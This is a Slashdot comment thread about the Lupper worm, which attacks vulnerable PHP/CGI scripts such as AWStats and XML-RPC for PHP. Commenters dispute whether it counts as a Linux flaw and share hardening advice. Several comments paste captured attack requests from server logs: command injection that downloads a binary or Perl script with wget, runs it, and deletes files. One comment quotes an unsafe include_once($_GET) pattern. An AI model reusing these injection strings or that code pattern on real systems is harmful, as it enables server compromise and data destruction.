Linux Lupper.Worm In the WIld

jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."

Comments

CONTINUE:

[xtracto]

Next, is a collection of messages telling that it is the fault of the system andministrators and not a problem of the Linux Distributions.

p.s. BURN KARMA BURN!

Re:CONTINUE:

[freeweed]

Well, actually, yes. Seeing as no Linux distibution installs and runs a webserver, plus one of the affected PHP utilities, by default, this one is squarely on the administrator's shoulders.

Understanding just WHAT a vulnerability affects is the key to knowing who's responsible.

Re:CONTINUE:

[clickster]

Would you accept the same excuse for IIS?

Re:CONTINUE:

[Enahs]

I'll step in just for giggles: Category Error

Re:CONTINUE:

[Omniscientist]

Well it is nice to know that I am a somewhat responsible administrator, as it seems like I survived an attack. In my logs I was wondering why I was getting random hits on pages such as "xmlrpc.php" when I didn't have any pages named that. This happened 7 days ago by the way, so it must be around that old.

I find it kind of strange however that if you go to services/xmlrpc.php on my website, you get a webpage that is actually services.html. No services/xmlrpc.php or even services directory exists in my htdocs folder. Going to plain xmlrpc.php brings up a 404. However I scanned for open UDP ports and neither 7111 or 7222 are open, so according to McAfee I'm not infected. I'm probably just unknowledgable on what xmlrpc.php is, but it is still strange.

Re:CONTINUE:

[budgenator]

Would you accept the same excuse for IIS?
FTA I don't see where it a linux worm, or even an appache worm it's primarily attacking php scripts even then it's only capable of attacking php scripts in servers that are configured to allow 2 very well known security configuration flaws and one that's recomemded against. NOTE the windows ME-XP instructions on the page.

Re:CONTINUE:

[rtb61]

Only if the worm turns and starts to attack windoze boxen instead, thats the defining nature of redmond code, bugs.

Remarkably Useless page.

[Short Circuit]

First, what vulnerability does it exploit? I wasn't able to find any decent info on Linux/Slapper, and that's all it references.

Second, how do you remove it? Quoth the page:

Removal Instructions
AVERT recommends to always use latest DATs and engine . This threat will be cleaned if you have this combination.

Additional Windows ME/XP removal considerations

Re:Remarkably Useless page.

[TheSpoom]

It doesn't say what software it tries to exploit but it does say which scripts. I'd post them here but it would be a waste of space; they're about halfway down on the McAfee page.

I'd say if your website has one of those scripts I'd look into updating or removing whatever software it is that has the vulnerability.

Re:Remarkably Useless page.

[gowen]

According to ZDNet/Symantec

"The worm exploits three vulnerabilities to propagate: the XML-RPC for PHP Remote Code Injection vulnerability; AWStats Rawlog Plugin Logfile Parameter Input Validation vulnerability; and Darryl Burgdorf's Webhints Remote Command Execution Vulnerability, according to Symantec's online description of the worm.

The XML-RPC flaw affects blogging, wiki and content management software and was discovered earlier this year. Patches are available for most systems. AWStats is a log analyzer tool; a fix for the flaw has been available since February. Darryl Burgdorf's Webhints is a hint generation script; no fixes are available for the script, according to Symantec's DeepSight Alert Services."

Re:Remarkably Useless page.

[tomhudson]

More alarmist shit (and old news at tht - The Reg reported this last week).

Some php scripts that have as much to do with linux as a vulnerability in, say, photoshop, has to do with xp.

The anti-virus writers are publicity whores looking to sensationalize their product, because in a few years nobody will be using them (Windows users will be stuck with the "free" verison from Microsoft, and BSD/OSX/Linux users don't need an anti-virus.

Re:Remarkably Useless page.

[harlows_monkeys]

More alarmist shit (and old news at tht - The Reg reported this last week)

My web server logs for my home machine are full of attempts to exploit these holes, coming from a large number of IP addresses.

This indicates that this is indeed in the wild, and active, and spreading.

Thus, it is not alarmist shit.

Re:Remarkably Useless page.

[tomhudson]

The key word is "attempts".

Hey, look through your logs - you'll also see slapper in there, and code red, and all sorts of other stuff - but if it doesn't affect you, why give a shit?

The number of affected machines is going to be VERY low. Fixes for one of the flaws have been out since February. My distro updates itself every couple of days. I'm not worried.

Now:

1. If you haven't updated your machine in years
2. If you have those particular scripts installed
3. If you allow files in /tmp to be run by processes from user "nobody"

... that's a LOT of ifs ...

In other words, nothing to see here but more antivirus vendor fud.

Re:Remarkably Useless page.

[tomhudson]

I'll tell you what, anyone wants some practice exploiting the hole, here's the IP address of a vulnerable machine to practice on: http://127.0.0.1/

Knock yourselves out :-)

Re:Remarkably Useless page.

[tomhudson]

er, where exactly do you think these "attempts" are coming from? It's been classified as a worm for a reason.

it was mis-classified as a "linux" worm, even though it has zero to do with linux. It's a bug in several php 3rd-party scripts, it was fixed months ago, and today is Troll Tuesday, and the editors are messing with your heads.

sure, if I want I could set a box up to partake in the fun (get an older distro, make sure it has the right files, and put it on the net ... and wait pretty much forever for it to get wormed. It's not that prevailent, it's not that capable of propagating itself (there aren't that many vulnerable hosts out there), yadda yadda yadda ...

Remember, symantec and Mcafee and the rest are looking at their market pretty much disappearing over the next 2 years. Microsoft is going to be selling their own anti-virus, and most people will go with that as a default, even if there are much better products out there.

It's the same situation with firefox and openoffice - both much better products than Internet Exploder and Word, but people stick with what they've got because they're lazy and/or stupid and/or timid and/or its "good enough".

So just who are the antivirus vendors going to sell to in the future? Its not like you need any special tools to clean up a unix box with a bad script - last I looked, vi and/or rm came with every system. As for bad binaries, well, unlike certain OTHER systems, we have the source ... we're not dependent on vendors for patching binaries, nor on antivirus vendors for "cleaning" infected binaries.

So, again, the antivirus vendors are looking at a diminishing market base over the next few years. Time for them to start hiring some black hats and creating as many worms as they can.

Re:Remarkably Useless page.

[Stephen Samuel]

Looking at the logs for one of my sites (for all of the entries from the mcafee site other than bare directory scans), I'm finding 31 hits from 4 sites with the first being October 6. All seem to have returned 404 errors.

So, something is hunting for vulnerable scripts (no big shock), but it seems far from rampant.

on the other hand, a friend of mine runs a multi-hosting site with a couple of hundred customers, and we've had to do multiple sweeps for people running out of date scritpts with holes in them that have been exploited (and then had to hunt down and clean up the resulting exploitation). Some of the customers respond to our warning messages. Others ignore the warnings and just blindly re-enable the broken scripts.

These are definitely user issues, not Linux issues. If you install and run a program you really are responsible for making sure that it's safe. Beyond a certain point, the OS can't protect you from your own stupidity.

On the other hand, if the exploit then finds a local root exploit, then I'd call that a Linux problem.

As far as I'm concerned, the distributor is responsible for holes in a default installation -- Those are often done by newbies who may not even know that a vulnerable service is running on his/her box (or even what a service is).
When you start installing add-on programs and remote scripts, their default forms are pretty much the responsibility of the people who make them available (modulo any explicit warnings they give an installer). The user, however is ultimately responsible for what he adds to his system.

Re:Remarkably Useless page.

[Macrobat]

You know, if you link to a porn site, you could at least warn us.

Re:Remarkably Useless page.

[budgenator]

step one go to securityfocus and update all of the applications listed on your system.
Symptoms
Presence of the following file:
* /tmp/lupii
One of the following ports are listening:
        * UDP 7111
        * UDP 7222
so running su -c"netstat --listening --extend --program" tells you if its even running by listing what listening to any port such as UDP 7111 7222
then it would be easy to
su -c"kill -9 pid-of-lupii" su -c"rm /tmp/lupii" su -c"touch tmp/lupii"

the worm appearent does this
echo '_begin_';echo `cd /tmp;wget xx.xx.193.244/lupii;chmod +x lupii;./lupii xx.xx.193.244 `;echo '_end_';exit;/*
so unless your server has a vulnerability that allows privailige escalation from nobody its stuck in tmp directories or possibly in your html directories.

PHP exploit, not directly a linux problem?

[Anonymous Coward]

Seems kind of wrong to name it exclusively a linux problem.

Re:PHP exploit, not directly a linux problem?

[mysqlrocks]

Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

Re:PHP exploit, not directly a linux problem?

[EraserMouseMan]

Is it possible for this exploit to occur under any other OS other than Linux? If so, then maybe Linux is not the root cause, but it is definately "a linux problem".

Re:PHP exploit, not directly a linux problem?

[sqlrob]

The worm is, since it downloads an executable.

The security holes are most likely generic.

Re:PHP exploit, not directly a linux problem?

[rbochan]

Calling it a PHP exploit would be wrong as well. It's an exploit of specific applications written in PHP (AWStats and Drupal from what I could tell).

According to this article, AWStats was patched back in February.

How can we get some free press?

[ivan256]

Oh, well we've got this PHP worm... Why don't we call it a Linux worm and the press will just eat it up!

Re:How can we get some free press?

[jellomizer]

Because it seems to only effect Linux and BSD systems (With a different worm). Other systems running PHP are not effected. So yes it is a linux worm. Like many of the Windows worms are not Windows Worms, but IE or OutLook Worms.

Re:How can we get some free press?

[sqlrob]

IE Worm = Windows worm.

Remember, IE is integrated into the OS according to MS, therefore it is a Windows worm.

Re:How can we get some free press?

[SmellTheCoffee]

An IE Worm or Outlook Work is absolutely **a windows worm** since they they are all designed by Microsoft and integrated tightly in the OS. Linus didn't write PHP and any Linux distro or BSD's don't require you to install PHP. You are free to install or uninstall PHP. Attributing this worm to Linux is like blaming Windows for an Adobe Acrobat vulnerability.

Re:How can we get some free press?

[cnelzie]

Except the blasted media only calls them "Computer Worms", they do not mention Windows as the problem. That is why everytime one of those stupid announcements make it onto "Good Morning America", I get a call from the boss asking if our servers are safe and everytime, I have to say, that is a Windows problem, not a Linux problem.

    It's annoying that they don't call those Windows Worms/Virus/Trojan attacks...

Re:How can we get some free press?

[Halfbaked Plan]

Similarly, attributing a Windows worm to Windows, when it's really an Outlook worm, is a misdirected accusation. Unless it's in the NT kernel, it's not a Windows worm. It might be a Microsoft bug that causes the problem, but that doesn't make it a Windows worm. The same worm could strike on a machine running Outlook in a bochs sandbox or under wine.

Linux fans degenerating down to semantics is really, really sad.

if it attacks PHP cross-platform...

[frankie]

...then it's a PHP/*nix worm, not Linux specifically.

Heck there's decent odds it could be modified to attack OSX PHP too. A shame the linked article provides ZERO information about exactly which scripts (and versions thereof) are vulnerable.

Re:if it attacks PHP cross-platform...

[alexhs]

...then it's a PHP/*nix worm, not Linux specifically.

Not exactly. From what I understood, there are BSD and Linux variants : both versions are using the same PHP holes, but the binary itself must be Linux or BSD compatible.

There's a layer available in BSD that allows to run Linux binaries natively, so Linux potentially could infect a BSD system, but it is somewhat like saying an MS-Windows virus could infect a Linux through wine.

Oh, and while we're at it, aren't these virii more specifically Linux/i386 and BSD/i386 virii ?

Sadly a preview of things to come because...

[Assmasher]

...Linux is more and more popular with corporations holding valuable and important data.

Success is a double-edged sword. ;)

Re:Sadly a preview of things to come because...

[budgenator]

Hears the way I understand it, the problem is some applications don't properly limit what programs can be run from a web browser
if for example type this into my browser

http://example.com/cgi/includer.cgi?'echo 'bingo''

and I see bingo in my browser example.com would probably be vulnerable, the worm presently uses a linux program wget (wget is a program that downloads files from a web server) to download the payload to the vulnerable machine, make it executeable with a chmod +x and runs it. When the worm runs, it searches for vulnerable machines on the network and and does the same things to them.

any RPC, Remote Procedure Protocol, has big impact on security, especaly commands that can change directories, download files, or make a file executable.

Complete infection

[soren.harward]

All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.

Conditions for infection...

[xutopia]

"If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed." I'm thinking this is funny as hell. How many people configure apache this way?

Re:Conditions for infection...

[maxwell demon]

Hey, I've found a way to write a true Linux worm! It can infect all Linux computers which have a user named "wormhole" with password "unsafe", and have a suid-root copy of bash installed at /bin/rootbash which is executable by user "wormhole". Ah, and of course the user "wormhole" must be able to remote login through either rlogin or ssh with password authentication enabled. To spread, the worm also needs the file /etc/wormspreadrc, which must contain a list of other vulnerable computers, one hostname or IP number per line.

SCNR

Re:Conditions for infection...

[smoking2000]

The command it runs is:

|echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|

It is passed to awstats.pl in a request like:

GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1

There are also POST request to xmlrpc.php pages, like:

POST /drupal/xmlrpc.php HTTP/1.1

So if you have /tmp mounted noexec this should not be a problem.

Re:Conditions for infection...

[Ramses0]

Damned slashdot eats my code examples. Re-post.

It's Not configuration of apache, but configuration of PHP. Basically, it's whether you allow the following:

[?php
    $foo = `ls`;

    $bar = include("http://foo.com/example.txt");
?]

A lot of people have #1 (since they don't see the difficulty in allowing that, and in some cases it is hella-useful for hacking stuff together).

#2 is just plain dumb.

I don't remember what PHP ships with defaults nowadays (I think yes to shell commands at least), it's possible that they don't allow "http://" (remote file protocols) by default in their later releases.

--Robert

Re:Conditions for infection...

[PatMouser]

Well, as of 9:30 AM central time 24.224.174.18 isn't accepting connections, so it's either been slashdotted or taken down.

Re:Conditions for infection...

[6*7]

a noexec /tmp doesn't protect from running an interpreter with the script source in /tmp. Next version should simply include '/bin/sh /tmp/listen' instead to be fully functional.

Re:Conditions for infection...

[sanctimonius hypocrt]

Per Making /tmp non-executable:

Mounting filesystems with these flags set raises the bar a little, but it doesn't stop files from being executed.

What you need is defense in depth. Mounting /tmp noexec,nosuid helps; Keeping everything up-to-date helps; Scanning your log files, following the news,... You get the idea.

And of course, hiring someone competent to do all this is a fine idea;)

Re:Conditions for infection...

[slackmaster2000]

Mounting tmp noexec won't stop scripts like this.

Aside from keeping a system patched up, it's important on a web server to lock down all programs that aren't necessary for the operation of your web services. In typical setups there is absolutely no reason that the apache user should have to execute wget, although it will be able to by default.

Re:Conditions for infection...

[miyako]

#2 is not just dumb, it's also really common. I worked on a site a couple of weeks ago that I was asked to update that had been in production for a while where the guy who wrote it had actually used

include_once($_GET['location'].'/'.$_GET['file']);
<blockquote>

for all of the navigation. Apparently he had been using forms for navigation and had each button holding the value of the file he wanted, and a hidden field holding the full URL to the section of the site. So the code ended up looking like

<form action="get" name="navform>
<input type="hidden" value="http://www.mywebsite.com/somewebsitesection ">
<input type="submit" value="page1.php">
<input type="submit" value="page2.php">
</form>

On top of all this they were storing sensitive customer information in plaintext files. I STRONGLY recommended that my boss send out letters to all their customers informing them of the vunrability so that they could take steps to ensure that they got their credit card numbers, etc. changed.
I think that the big problem is businesses that higher highschool students who have no idea of how to write good code doing websites for 6 bucks an hour. When the finally decided to higher someone who had some idea of how to do decent code (I don't claim to be an expert in PHP, but I certainly have more experience with it than a 16 year old, and I do at least try to keep security in mind when I write code). I ended up leaving after I'd fixed the security vulrnabilities (since I didn't see it as being ethical to just leave a business running where it was so that customers could unknowingly have their info stolen) because my boss was constantly on my ass (He didn't understand why I needed to spend time designing a database when flat text files has worked on their site for so long, for example) and basically told me to take shortcuts to get the code done ASAP.
In the end I think that this is is one of the biggest problems with software vulrnabilities. People are more concerned with getting it done than getting it done correctly. I think that one of the advantages that F/OSS has is that, while some coders will still perhaps be more concerned with time than correctness, there is less of management glaring over your shoulder and telling you to take shortcuts to meet deadlines.

Before all teh MSFT fanboys jump on this,

[Anonymous Coward]

Paraphrased from the virus description;

IF you run a specific kernel version with some special module
AND you run one of a couple specific versions of one package not installed by default
AND you have a very "generic" config on that package
AND you have some plugins enabled, but not configured for security
AND you are on a world routable IP address
AND you have some specific vulnerable scripts,

THEN you might need to take a look at if you are at risk.

Paraphrased from the virus description of most MSFT worms:

IF you run an MSFT operating system
AND you havent reformated your HDD in the lsat hour

THEN its time to pucker up and kiss the sucker goodbye..

-GenTimJS

Re:Before all teh MSFT fanboys jump on this,

[sootman]

From the best MS technote EVAR:

"Identified security issues in Internet Explorer could allow an attacker to compromise a Windows-based system... This affects all computers with Internet Explorer installed (even if you don't run Internet Explorer as your Web browser)."

And since MS included IE by default, enabled it by default, and made it almost impossible to uninstall, all you MS defenders are invited to take a long walk off a short pier. BTW, that update is less than 2 years old, so it's not like I'm really digging in the crates to find that one or making "OMG teh BSOD!" Win98 jokes.

Too many ifs

[SolitaryMan]

If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment ...

which in practice means that your admin have died a couple of years ago but was never replaced.

Short of detail

[QuaintRealist]

So here is some, shamelessly cribbed from e-week. The worm actually attemts to attack three different web services:

"The XML-RPC hole commonly exists in blogging and Wiki programs. There are now fixes available for this hole for most systems.

AWStats is a popular, open-source log-file analyzer. Only servers which run AWStats 5.0 to 6.3 can be attacked. Versions 6.4, which came out in March, and higher are immune.

Finally, Webhints is an older script program that's designed to set up and maintain a "Hint (Quote/Tip/Joke/Whatever) of the Day" page. Version 1.3 is vulnerable to attack. There is, at this time, no known fix for the program. "

This still does not tell me which blogging/wiki programs are affected, only theat "most" have fixes - more info, anyone?

Re:Short of detail

[jurt1235]

This list is affected: http://www.securityfocus.com/bid/14088/info

Does it look like this?

[Mabonus]

I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.

193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
.
.
.
193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
.
.
.
For 60 hits.

Linux?

[noz]

I dislike the labelling of this worm as Linux/Slapper. The only platform identification is,

This worm spreads by exploiting web servers hosting vulnerable PHP/CGI scripts.

I also know that tomorrow a colleague will say something akin to, "Quit razzing my Windows platforms. Your precious Linux also has security problems." Grrrr...

I'm not worried...

[PoprocksCk]

I doubt I'll have the libraries required to run this worm.

Re:I'm not worried...

[WinterSolstice]

Ha!

Yes, if your luck with PHP on linux is like mine, you'll have to resolve dependencies for about 15 minutes first :)

-WS

Re:I'm not worried...

[_Sprocket_]

apt-get install morrisworm2

Please Rate This Worm Info!!

[handmedowns]

http://vil.nai.com/vil/RateThisPage.asp

Let Mcaffe know how well they're trolling.

Re:Please Rate This Worm Info!!

[pintpusher]

YOu need to link to that page from the original virus description... then it works fine.

Other links

[AndroidCat]

Security Focus eWeek CNet

Re:So let me get this straight

[Blob Pet]

Perhaps the most interesting thing is that a Mac *could* be vulnerable to this attack. Yet 99.9% of the Macs out there aren't, because the system doesn't ship with the web server running by default. In other words, Linux is making Microsoft's mistakes all over again.

In the distros I've used, the user has to explicitely choose to have a web server installed. Even after that, the user's probably going to have to explicitely choose to install PHP.

Linux/BSD only

[WhiteWolf666]

Currently, this worm is only compatible with Linux/BSD systems, because they are the only systems with full shell scripting capabilities.

It is rumored that you can obtain the same level of compatibility with the Cygwin Suite, but that is not an officially supported configuration by Microsoft.

Never fear, though, Monad will bring Lupper, and similar PHP/Shell script worms to the Windows platform for the masses!

Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

Re:Linux/BSD only

[mysqlrocks]

Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

No, PHP is secure. Some applications written in PHP are insecure. Programmers can introduce security vulnerabilities in any language. Bad programming is not language specific.

Gnu!

[rabel]

That's Gnu/Linux worm to you, you insensitive clod!

clearly a violation

[FudRucker]

if this worm does not include the sourcecode with every computer it infects it is violating the terms and conditions of the GNU/GPL

It's not Windows

[max born]

From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.

Re:It's not Windows

[51mon]

It is called privilege escalation.

Once any system is compromised, you have generally to assume that the attacker escalated their privileges using other exploits. If you had auditing enabled, you might be able to demonstrate that this did not happen, but if you had auditing enabled you probably reinstalled already!

The problem with these sorts of compromise, is in some shared hosting environments, where the end user could have installed vulnerable PHP. So doesn't really matter how good the admin, or OS is, unless the OS has specific facilities to mitigate this sort of attack.

I wouldn't take people seeing awstats attempts as proof of the worm, I've been seeing awstats exploit attempts for years, that is usually just run of the mill hacking attempts, semiautomated scanning, or earlier worms.

an excerpt from my logs

[Anonymous Coward]

I checked my logs and found the following:
[06/Nov/2005:18:13:39 -0500] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20 /tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20membe rs.lycos.co.uk/sugi/a.txt;perl%20a.txt;echo%20;rm% 20-rf%20a.txt*;echo| HTTP/1.1" 404 1030 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

Why not get somebody to shut down members.lycos.co.uk/sugi/a.txt??

Preventative measures

[Alioth]

Well, firstly, I doubt this worm will be particularly widespread - the vast majority of sites use name-based virtual hosting, and this worm just uses the IP address. Obviously some systems (with the very outdated versions of the vulnerable programs) will be vulnerable. But this isn't really the point of what I'm thinking about.

The point is that if you run a server (of any OS) you can take preventative measures to stop the propagation of hacks/malware/trojans, even if you have users who install buggy PHP scripts. Some straightforward preventative measures are:

1. Ensure that the 'wget' (and any other similar utilities) command is NOT available to the user which cgi/php scripts are run as. Many hackers use an initial exploit to get into the machine, then wget the script or program they really want to run (such as the good old bindshell)
2. Mount /tmp (and anything else writeable by the script) no-exec (although there are ways around this, it will defeat many skript kiddies).
3. Implement rate limiting on the MTA that runs on the machine. Have the MTA shut down altogether if the mail queue is gigantic. This way, if someone does get in, and tries to spam with your machine, it won't get very far. It will also give you time to investigate the problem.
4. Use iptables! Only open ports that should be open. Also, use *egress* filtering too. If your server should not be contacting anything on port 80, say, except the Debian distro servers for apt, use iptables to stop outbound access to anything except those servers. Prevent all outbound access except where strictly needed.
5. Treat every local root exploit as if it was a remote root exploit. If you run a web server, there is *no such thing* as a local root exploit. All it takes is a buggy PHP script, and an attacker can try and elevate their privileges through the local root exploit.

Those 4 things will keep you safe against most of these cookie-cutter or skript kiddie attacks. But to go further:
6. Use SElinux to only allow Apache to access what it should access and nothing else. Particularly executables. Therefore, if someone manages to successfully wget their exploit script after exploiting the buggy PHP script, they can't actually run it because SElinux will prevent it from being run.
7. Use Xen to divide your server up. Put the web server (the most complex and most likely to be exploited) in a separate Xen-U instance to everything else. Then you can make sure that the only stuff installed on the instance is stuff strictly needed to run the web sites. You can also do much more agressive filtering with iptables - so for instance, if you put the MTA on another Xen-U, plus all the other services you need (DNS etc). you can make it so the web server needs to have no egress *at all* except via the services on the other xen-U. This makes it essentially impossible for someone to use an exploit to download and run another script on your web server - they can't even change the port number of their webserver (say, to 25) to allow them to get the file they need.

I have had two serious attempts (i.e. NOT skript kiddies - the most recent one was a Romanian phishing group) to hack my (multi-user, shared hosting) web server in the last couple of years. They were both defeated by at least one of these techniques, and I learned from each. My web server is now divided into multiple Xen instances, and the HTTP server part has very strict egress rules.

Lupper? Isn't that a 3:00 pm meal...

[Biff Stu]

It's not quite lunch, it's not quite supper; let's call it lupper!

Re:So let me get this straight

[tomhudson]

Linux has a smaller Market Share than Mac OS X, yet it's still getting targetted by virus writers?

is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform

... just so you don't need to feel left out.

But really, this article is just more anti-virus vendor FUD. Seems they're trolling non-windows users on a weekly basis (Maybe they enjoy Troll Tuesday?) because they know that their time is almost up:

• People switching to a mac won't need their productx
• People running linux won't need their products
• The 800-lb - oops - 1600 lb gorilla in the Window marketspace - Microsoft - is coming out with their own antivirus

If you were in their situation, what would you do?

Only partially.

[khasim]

Let's look at this logically.

If the Linux distribution does not run Apache by default, it is safe.
If Windows does not run IIS by default, it is safe.
So far, so good.

If the Linux distribution does not run PHP by default, it is safe.
If Windows does not run their scripting system by default, it is safe.
So far, so good.

If the Linux distribution does not run those particular scripts by default, it is safe.
If Windows does not run vulnerable scripts by default, it is safe.
So far, so good.

So, both Linux/Apache/PHP/scripts and Windows/IIS/scripting/scripts are as secure as each other in this particular instance.

Both can be made vulnerable by installing systems/scripts that are not part of the default system.

But most of the Windows compromises have not been from installing 3rd party vulnerable scripts. Historically, the compromises have come from system vulnerabilities that the admins have not patched, even when the patches are available.

The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

Just because this one type would require the same actions on both systems does not mean that this type can be generalized to all exploits of both systems.

Re:Only partially.

[Blapto]

As a web server admin, patching to secure against this worm is trivial.
If you're the only user, you can rename the xmlrpc files.
Besides, your /tmp shouldn't have exec permissions anyway, and wget, curl, lynx etc. should be root use only.

AWStats is a PHP application?

[smartfart]

Um, AWStats isn't written in PHP, but in Perl. This isn't a PHP worm, it's a CGI exploit which happens to target PHP apps, plus the occasional Perl app.

Popularity != Security

[khasim]

This is not a flaw in Linux. It is a vulnerability in a script written in PHP that a sysadmin may install on a Linux box.

This has nothing to do with whether "valuable and important data" is stored on a Linux box.

If Linux was used by 10x more people/systems, there is no reason to believe that we'd see 10x more worms/viruses in the wild.

Yet every time the topic of a Linux worm/virus/trojan comes up, someone will make a comment about how it will only happen more as Linux becomes more popular.

You're wrong.

[khasim]

It will come up because it is true.

No. It will keep coming up because people who don't understand security will keep bringing it up.

There is a reason that more homes are robbed than banks, even though the banks have far more money in them than the homes do.

The banks have better security than the homes do. So, even though more people go into a bank every day than go into your home, and the bank keeps lots more money in it than you keep in your home, because of the security, the bank is far less likely to be successfully robbed than your home.

As for the worm, I didn't say it was a flaw in Linux, I was merely pointing out that security issues that affect Linux systems will rise as the success of Linux rises.

That's what you believe. Yet my bank example shows that popularity has nothing to do with security.

Maybe you should mod that as 'master of the obvious', but it doesn't make it any less accurate.

That is because your statement is as inaccurate as possible already.

By your "logic", banks would be robbed far more often than homes or cars or people because they are more popular.

And security is why this worm will not do much damage.
http://securityresponse.symantec.com/avcenter/venc /data/linux.plupii.html

Look for "Number of Infections: 0-49".

Oooooh! Scary! All those millions of Linux sites out there and fewer than 50 have been infected! Ooooooh!

What's that? "Number of Sites: 0-2"?

That means that fewer than 3 sites have been infected? Out of all of the Linux installations out there?

Yeah, "security issues" will certainly be a problem as more people use Linux. I feel really bad for those 2 sites (or less) that were hit by this. Yep. It's a real threat.

Re:no login shell

[Understudy]

Yes cgi access gives them a virtual shell, you can control how it functions.
You should be using mod_security.
http://understudy.net/tutorials.php?name=wget comes back failed You can run limited ablity shell accounts such as scponlyc (chrooted version of scponly)

And the servers I run on are all FreeBSD based.

Mod security can be found here:
http://modsecurity.org/
http://www.gotroot.com/tiki-index.php?page=mod_sec urity+rules
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_ security.html

They are just now discovering this???

[Christianfreak]

I've been seeing requests for some of these URLs for 6 months now. I figured it was a worm but I know I'm patched and I don't run any of that stuff anyway. Amazing to me that people get owned by this sort of thing.

Between this and the SSH worm, maybe its time to investigate using Windows ME with Personal Web Server. :-D

No.

[khasim]

Jeez, all of you guys have a problem with shades of gray. It is neither 100% popularity nor 0% popularity.

No. You don't understand security.

Security is independant of popularity.

There is nothing about popularity that makes a system more or less secure.

It is a cost/benefit ratio.

No.

According to your logic 0 banks would be robbed since they have better security.

No. FEWER banks are robbed because they have BETTER security.

In order to get down to ZERO banks robbed, you'd have to get to PERFECT security.

Yet banks get robbed. Why?

Because their security is not perfect.

Because there exists someone for whom the extra money outweighs the extra risk.

Now you're confusing "risk" with "security".

The two are not the same.

Security != Popularity
Security != Risk

Eventually we will reach a point where the target size will be large enough that it provides enough bang/buck to defeat the extra security.

Read "Attack Trees" by Bruce Schneier.

http://www.schneier.com/paper-attacktrees-ddj-ft.h tml

Security is all about reducing the avenues of attack.

If a Linux box is 100% secure from digital attack via the Internet (no ports open), it is still vulnerable to someone breaking into your office and taking the box. Big fat hairy deal. But it is still safe from that worm.

Can't measure OS security by worm prevalence.

[Bob.Kerns]

Re: The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

It's not so easy to compare as that. Unless you consider an OS being widely deployed to be a security flaw -- in which case Linux is doomed to be as bad as Windows if it succeeds...

If an OS, let's call it X, is rare, worms can't spread quickly, just because they can't find instances to spread to. The effects of this are very non-linear, with the popular OS being at a very major disadvantage.

If X is rare, few felons will have the expertise to attack it.

If X is rare, few felons will have the motivation to attack it.

Conversely, if X is widespread, and hated among felons, it will be an attractive target.

If X is commonly business-critical, a great deal of publicity comes with each attack, and felons can get glory from the press and praise from their felonious peers.

The bottom line is that there are many factors beyond the security of an OS in how widespread a worm becomes. In addition to the issues I listed above, consider how quicly patches get pushed out, which depends both on OS support for security patch distribution and administrator attentiveness. Consider the bandwidth of the typical connection, the nature of the hole, how likely it is to be blocked by non-OS firewalls, etc. etc.

So I'm afraid the MS vs Linux security question isn't going to be settled at all by comparing this worm's spread to any other worm, nor even by comparing any large population of worms.

Sorry -- it would be nice if the world were so simple.

IE is not cross-platform

[macdaddy]

